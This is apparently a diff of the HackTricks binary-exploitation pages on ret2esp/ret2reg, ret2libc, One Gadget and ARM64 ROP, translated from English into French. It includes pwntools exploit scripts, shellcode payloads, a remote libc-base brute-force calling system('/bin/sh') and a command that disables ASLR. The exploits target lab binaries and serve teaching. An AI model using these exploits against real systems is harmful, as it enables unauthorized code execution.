- 32 bits, pas de relro, pas de canary, nx, pas de pie, débordement de tampon de base et retour. Pour l'exploiter, le bof est utilisé pour appeler `read` à nouveau avec une section `.bss` et une taille plus grande, pour y stocker les tables factices `dlresolve` afin de charger `system`, retourner à main et réutiliser le bof initial pour appeler dlresolve puis `system('/bin/sh')`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,24 @@
## **Ret2esp**
**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
**Parce que l'ESP (Pointeur de Pile) pointe toujours vers le haut de la pile**, cette technique consiste à remplacer l'EIP (Pointeur d'Instruction) par l'adresse d'une instruction **`jmp esp`** ou **`call esp`**. En faisant cela, le shellcode est placé juste après l'EIP écrasé. Lorsque l'instruction `ret` s'exécute, l'ESP pointe vers l'adresse suivante, précisément là où le shellcode est stocké.
If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Si **l'Randomisation de l'Espace d'Adresse (ASLR)** n'est pas activée sous Windows ou Linux, il est possible d'utiliser des instructions `jmp esp` ou `call esp` trouvées dans des bibliothèques partagées. Cependant, avec [**ASLR**](../common-binary-protections-and-bypasses/aslr/) actif, il peut être nécessaire de chercher ces instructions dans le programme vulnérable lui-même (et vous pourriez avoir besoin de contourner [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
De plus, être capable de placer le shellcode **après la corruption de l'EIP**, plutôt qu'au milieu de la pile, garantit que toute instruction `push` ou `pop` exécutée pendant l'opération de la fonction n'interfère pas avec le shellcode. Cette interférence pourrait se produire si le shellcode était placé au milieu de la pile de la fonction.
### Lacking space
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
### Manque d'espace
Si vous manquez d'espace pour écrire après avoir écrasé le RIP (peut-être juste quelques octets), écrivez un shellcode initial **`jmp`** comme :
```armasm
sub rsp, 0x30
jmp rsp
```
Et écrivez le shellcode tôt dans la pile.
And write the shellcode early in the stack.
### Example
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
### Exemple
Vous pouvez trouver un exemple de cette technique dans [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) avec un exploit final comme :
```python
from pwn import *
@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
Vous pouvez voir un autre exemple de cette technique dans [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Il y a un débordement de tampon sans NX activé, un gadget est utilisé pour **réduire l'adresse de `$esp`** puis un `jmp esp;` pour sauter au shellcode :
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@ -81,47 +76,41 @@ target.sendline(payload)
# Drop to an interactive shell
target.interactive()
```
## Ret2reg
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
De même, si nous savons qu'une fonction renvoie l'adresse où le shellcode est stocké, nous pouvons tirer parti des instructions **`call eax`** ou **`jmp eax`** (connues sous le nom de technique **ret2eax**), offrant une autre méthode pour exécuter notre shellcode. Tout comme eax, **tout autre registre** contenant une adresse intéressante pourrait être utilisé (**ret2reg**).
### Example
### Exemple
You can find some examples here:&#x20;
Vous pouvez trouver quelques exemples ici :&#x20;
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
- **`strcpy`** va stocker dans **`eax`** l'adresse du tampon où le shellcode a été stocké et **`eax`** n'est pas écrasé, donc il est possible d'utiliser un `ret2eax`.
## ARM64
### Ret2sp
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
Dans ARM64, il **n'y a pas** d'instructions permettant de **sauter au registre SP**. Il pourrait être possible de trouver un gadget qui **déplace sp vers un registre et ensuite saute à ce registre**, mais dans la libc de ma kali, je n'ai pas pu trouver de gadget comme ça :
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
Les seuls que j'ai découverts changeraient la valeur du registre où sp a été copié avant de sauter à celui-ci (il deviendrait donc inutile) :
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
Si un registre a une adresse intéressante, il est possible de sauter à celle-ci en trouvant simplement l'instruction adéquate. Vous pourriez utiliser quelque chose comme :
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
En ARM64, c'est **`x0`** qui stocke la valeur de retour d'une fonction, donc il se pourrait que x0 stocke l'adresse d'un tampon contrôlé par l'utilisateur avec un shellcode à exécuter.
In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
Example code:
Exemple de code :
```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@ -129,34 +118,32 @@ Example code:
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
```
Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
En vérifiant le désassemblage de la fonction, il est possible de voir que l'**adresse du tampon** (vulnérable au bof et **contrôlée par l'utilisateur**) est **stockée dans `x0`** avant de revenir du débordement de tampon :
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
Il est également possible de trouver le gadget **`br x0`** dans la fonction **`do_stuff`** :
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
Nous allons utiliser ce gadget pour y sauter car le binaire est compilé **SANS PIE.** En utilisant un motif, il est possible de voir que l'**offset du débordement de tampon est 80**, donc l'exploit serait :
```python
from pwn import *
@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
```
> [!WARNING]
> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
> Si au lieu de `fgets`, on avait utilisé quelque chose comme **`read`**, il aurait été possible de contourner PIE en **écrivant seulement les 2 derniers octets de l'adresse de retour** pour revenir à l'instruction `br x0;` sans avoir besoin de connaître l'adresse complète.\
> Avec `fgets`, cela ne fonctionne pas car il **ajoute un octet nul (0x00) à la fin**.
## Protections
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) : Si la pile n'est pas exécutable, cela ne sera pas utile car nous devons placer le shellcode dans la pile et sauter pour l'exécuter.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/) : Cela peut rendre plus difficile la recherche d'une instruction à laquelle sauter vers esp ou tout autre registre.
## References
## Références
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)

View File

@ -2,103 +2,90 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Basic Information**
## **Informations de base**
The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
L'essence de **Ret2Libc** est de rediriger le flux d'exécution d'un programme vulnérable vers une fonction d'une bibliothèque partagée (par exemple, **system**, **execve**, **strcpy**) au lieu d'exécuter du shellcode fourni par l'attaquant sur la pile. L'attaquant crée un payload qui modifie l'adresse de retour sur la pile pour pointer vers la fonction de bibliothèque souhaitée, tout en s'assurant que tous les arguments nécessaires soient correctement configurés selon la convention d'appel.
### **Example Steps (simplified)**
### **Étapes d'exemple (simplifiées)**
- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function
- Obtenez l'adresse de la fonction à appeler (par exemple, system) et la commande à appeler (par exemple, /bin/sh)
- Générez une chaîne ROP pour passer le premier argument pointant vers la chaîne de commande et le flux d'exécution vers la fonction
## Finding the addresses
- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
## Trouver les adresses
- Supposons que la `libc` utilisée est celle de la machine actuelle, vous pouvez trouver où elle sera chargée en mémoire avec :
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
If you want to check if the ASLR is changing the address of libc you can do:
Si vous voulez vérifier si l'ASLR change l'adresse de libc, vous pouvez faire :
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
- Knowing the libc used it's also possible to find the offset to the `system` function with:
- En connaissant la libc utilisée, il est également possible de trouver le décalage vers la fonction `system` avec :
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
- En connaissant la libc utilisée, il est également possible de trouver le décalage vers la chaîne `/bin/sh` avec :
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### Utilisation de gdb-peda / GEF
### Using gdb-peda / GEF
Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
En connaissant la libc utilisée, il est également possible d'utiliser Peda ou GEF pour obtenir l'adresse de la fonction **system**, de la fonction **exit** et de la chaîne **`/bin/sh`** :
```bash
p system
p exit
find "/bin/sh"
```
### Utilisation de /proc/\<PID>/maps
### Using /proc/\<PID>/maps
Si le processus crée des **enfants** chaque fois que vous communiquez avec lui (serveur réseau), essayez de **lire** ce fichier (vous aurez probablement besoin d'être root).
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
Ici, vous pouvez trouver **exactement où la libc est chargée** à l'intérieur du processus et **où elle va être chargée** pour chaque enfant du processus.
![](<../../../images/image (853).png>)
In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
Dans ce cas, elle est chargée à **0xb75dc000** (Ceci sera l'adresse de base de la libc)
## Unknown libc
## Libc inconnue
It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used:
Il se peut que vous **ne connaissiez pas la libc que le binaire charge** (car elle pourrait être située sur un serveur auquel vous n'avez pas accès). Dans ce cas, vous pourriez abuser de la vulnérabilité pour **fuir certaines adresses et trouver quelle bibliothèque libc** est utilisée :
{{#ref}}
rop-leaking-libc-address/
{{#endref}}
And you can find a pwntools template for this in:
Et vous pouvez trouver un modèle pwntools pour cela dans :
{{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}}
### Know libc with 2 offsets
### Connaître la libc avec 2 décalages
Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**.
Vérifiez la page [https://libc.blukat.me/](https://libc.blukat.me/) et utilisez **quelques adresses** de fonctions à l'intérieur de la libc pour découvrir la **version utilisée**.
## Bypassing ASLR in 32 bits
## Contournement de l'ASLR en 32 bits
These brute-forcing attacks are **only useful for 32bit systems**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
Ces attaques par force brute sont **uniquement utiles pour les systèmes 32 bits**.
- Si l'exploit est local, vous pouvez essayer de forcer l'adresse de base de la libc (utile pour les systèmes 32 bits) :
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- Si vous attaquez un serveur distant, vous pourriez essayer de **forcer l'adresse de la fonction `libc` `usleep`**, en passant comme argument 10 (par exemple). Si à un moment donné le **serveur met 10s de plus à répondre**, vous avez trouvé l'adresse de cette fonction.
## One Gadget
Execute a shell just jumping to **one** specific **address** in libc:
Exécutez un shell en sautant simplement à **une** adresse **spécifique** dans libc :
{{#ref}}
one-gadget.md
{{#endref}}
## x86 Ret2lib Code Example
In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
## Exemple de code x86 Ret2lib
Dans cet exemple, le brute-force ASLR est intégré dans le code et le binaire vulnérable est situé sur un serveur distant :
```python
from pwn import *
@ -106,18 +93,17 @@ c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
```
## x64 Ret2lib Code Example
Check the example from:
Vérifiez l'exemple depuis :
{{#ref}}
../
@ -125,23 +111,23 @@ Check the example from:
## ARM64 Ret2lib Example
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
Dans le cas de l'ARM64, l'instruction ret saute à l'endroit où le registre x30 pointe et non à l'endroit où le registre de pile pointe. Donc c'est un peu plus compliqué.
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
Aussi, dans l'ARM64, une instruction fait ce que l'instruction fait (il n'est pas possible de sauter au milieu des instructions et de les transformer en nouvelles).
Check the example from:
Vérifiez l'exemple depuis :
{{#ref}}
ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Ret-into-printf (or puts)
## Ret-into-printf (ou puts)
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
Cela permet de **fuiter des informations du processus** en appelant `printf`/`puts` avec des données spécifiques placées comme argument. Par exemple, mettre l'adresse de `puts` dans le GOT dans une exécution de `puts` va **fuiter l'adresse de `puts` en mémoire**.
## Ret2printf
This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible):
Cela signifie essentiellement abuser d'un **Ret2lib pour le transformer en une vulnérabilité de chaînes de format `printf`** en utilisant le `ret2lib` pour appeler printf avec les valeurs à exploiter (semble inutile mais possible) :
{{#ref}}
../../format-strings/
@ -150,16 +136,16 @@ This basically means abusing a **Ret2lib to transform it into a `printf` format
## Other Examples & references
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, given a leak to the address of a function in libc, using one gadget
- Ret2lib, donné une fuite vers l'adresse d'une fonction dans libc, utilisant un gadget
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bits, ASLR activé mais pas de PIE, la première étape consiste à remplir un débordement jusqu'au byte 0x00 du canary pour ensuite appeler puts et le fuiter. Avec le canary, un gadget ROP est créé pour appeler puts afin de fuir l'adresse de puts depuis le GOT et un gadget ROP pour appeler `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64 bits, ASLR activé, pas de canary, débordement de pile dans main depuis une fonction enfant. Gadget ROP pour appeler puts afin de fuir l'adresse de puts depuis le GOT puis appeler un gadget.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
- 64 bits, pas de pie, pas de canary, pas de relro, nx. Utilise la fonction write pour fuir l'adresse de write (libc) et appelle un gadget.
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`.
- Utilise une chaîne de format pour fuir le canary de la pile et un débordement de tampon pour appeler system (c'est dans le GOT) avec l'adresse de `/bin/sh`.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32 bits, pas de relro, pas de canary, nx, pie. Abuse d'un mauvais indexage pour fuir les adresses de libc et de heap depuis la pile. Abuse du débordement de tampon pour faire un ret2lib appelant `system('/bin/sh')` (l'adresse de heap est nécessaire pour contourner une vérification).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,36 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
[**One Gadget**](https://github.com/david942j/one_gadget) permet d'obtenir un shell au lieu d'utiliser **system** et **"/bin/sh". One Gadget** trouvera à l'intérieur de la bibliothèque libc un moyen d'obtenir un shell (`execve("/bin/sh")`) en utilisant juste une **adresse**.\
Cependant, normalement, il y a certaines contraintes, les plus courantes et faciles à éviter sont comme `[rsp+0x30] == NULL` Comme vous contrôlez les valeurs à l'intérieur de **RSP**, vous devez juste envoyer quelques valeurs NULL supplémentaires pour éviter la contrainte.
![](<../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
Pour l'adresse indiquée par One Gadget, vous devez **ajouter l'adresse de base où `libc`** est chargée.
> [!TIP]
> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
> One Gadget est une **grande aide pour les techniques Arbitrary Write 2 Exec** et peut **simplifier les chaînes ROP** car vous n'avez besoin d'appeler qu'une seule adresse (et de remplir les exigences).
### ARM64
The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
Le dépôt github mentionne que **ARM64 est pris en charge** par l'outil, mais lors de son exécution dans la libc d'un Kali 2023.3, **il ne trouve aucun gadget**.
## Angry Gadget
From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
Depuis le [**dépôt github**](https://github.com/ChrisTheCoolHut/angry_gadget) : Inspiré par [OneGadget](https://github.com/david942j/one_gadget), cet outil est écrit en python et utilise [angr](https://github.com/angr/angr) pour tester les contraintes pour les gadgets exécutant `execve('/bin/sh', NULL, NULL)`\
Si vous avez épuisé les gadgets à essayer depuis OneGadget, Angry Gadget en propose beaucoup plus avec des contraintes compliquées à essayer !
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,65 +2,58 @@
{{#include ../../../banners/hacktricks-training.md}}
## Ret2lib - NX bypass with ROP (no ASLR)
## Ret2lib - contournement de NX avec ROP (pas d'ASLR)
```c
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile without canary:
Compiler sans canary :
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
### Trouver l'offset
### Find offset
### Offset x30
### x30 offset
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
En créant un motif avec **`pattern create 200`**, en l'utilisant et en vérifiant l'offset avec **`pattern search $x30`**, nous pouvons voir que l'offset est **`108`** (0x6c).
<figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
En regardant la fonction principale désassemblée, nous pouvons voir que nous aimerions **sauter** à l'instruction pour sauter directement à **`printf`**, dont l'offset par rapport à l'endroit où le binaire est chargé est **`0x860`** :
<figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure>
### Find system and `/bin/sh` string
### Trouver la chaîne system et `/bin/sh`
As the ASLR is disabled, the addresses are going to be always the same:
Comme l'ASLR est désactivé, les adresses vont toujours être les mêmes :
<figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure>
### Find Gadgets
### Trouver des Gadgets
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper an interesting gadget was found:
Nous devons avoir dans **`x0`** l'adresse de la chaîne **`/bin/sh`** et appeler **`system`**.
En utilisant rooper, un gadget intéressant a été trouvé :
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
Ce gadget chargera `x0` depuis **`$sp + 0x18`** puis chargera les adresses x29 et x30 depuis sp et sautera à x30. Ainsi, avec ce gadget, nous pouvons **contrôler le premier argument et ensuite sauter à system**.
### Exploit
```python
from pwn import *
from time import sleep
@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
@ -90,80 +83,72 @@ p.sendline(payload)
p.interactive()
p.close()
```
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
## Ret2lib - Contournement de NX, ASL et PIE avec des fuites printf depuis la pile
```c
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile **without canary**:
Compiler **sans canary** :
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
### PIE and ASLR but no canary
### PIE et ASLR mais pas de canary
- Round 1:
- Leak of PIE from stack
- Abuse bof to go back to main
- Fuite de PIE depuis la pile
- Abus de bof pour revenir à main
- Round 2:
- Leak of libc from the stack
- ROP: ret2system
- Fuite de libc depuis la pile
- ROP: ret2system
### Printf leaks
### Fuites de Printf
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
En plaçant un point d'arrêt avant d'appeler printf, il est possible de voir qu'il y a des adresses pour revenir au binaire dans la pile et aussi des adresses libc :
<figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
En essayant différents offsets, le **`%21$p`** peut fuir une adresse binaire (bypass PIE) et le **`%25$p`** peut fuir une adresse libc :
<figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
En soustrayant l'adresse libc fuitée de l'adresse de base de libc, il est possible de voir que l'**offset** de l'**adresse fuitée par rapport à la base est `0x49c40`.**
### x30 offset
### offset x30
See the previous example as the bof is the same.
Voir l'exemple précédent car le bof est le même.
### Find Gadgets
### Trouver des Gadgets
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper another interesting gadget was found:
Comme dans l'exemple précédent, nous devons avoir dans **`x0`** l'adresse de la chaîne **`/bin/sh`** et appeler **`system`**.
En utilisant rooper, un autre gadget intéressant a été trouvé :
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
Ce gadget chargera `x0` depuis **`$sp + 0x78`** puis chargera les adresses x29 et x30 depuis sp et sautera à x30. Ainsi, avec ce gadget, nous pouvons **contrôler le premier argument et ensuite sauter à system**.
### Exploit
```python
from pwn import *
from time import sleep
@ -172,15 +157,15 @@ p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
